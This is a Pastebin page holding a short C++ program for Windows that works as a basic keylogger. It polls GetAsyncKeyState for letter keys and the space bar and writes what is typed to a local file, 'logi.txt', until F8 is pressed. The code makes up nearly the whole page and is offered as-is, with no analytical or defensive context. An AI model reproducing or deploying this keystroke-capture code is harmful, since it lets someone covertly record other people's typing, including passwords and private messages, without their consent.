Advertisement
Guest User

JebacPolade

a guest
Sep 20th, 2019
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.54 KB | None | 0 0
  1. #include <fstream>
  2. #include <cstring>
  3. #include <windows.h>
  4.  
  5. using namespace std;
  6.  
  7. int main()
  8. {
  9.     int Char;
  10.     string text;
  11.     ofstream log;
  12.     log.open("logi.txt");
  13.     while(!GetAsyncKeyState(VK_F8))
  14.     {
  15.         for(Char = 65; Char < 90; Char++)
  16.         {
  17.             if(GetAsyncKeyState(Char) == -32767)
  18.             {
  19.                 text+=Char;
  20.             }
  21.         }
  22.         if(GetAsyncKeyState(VK_SPACE)==-32767)
  23.         {
  24.             text+=" ";
  25.         }
  26.  
  27.  
  28.     }
  29.     log << text;
  30.     log.close();
  31.     return 0;
  32. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement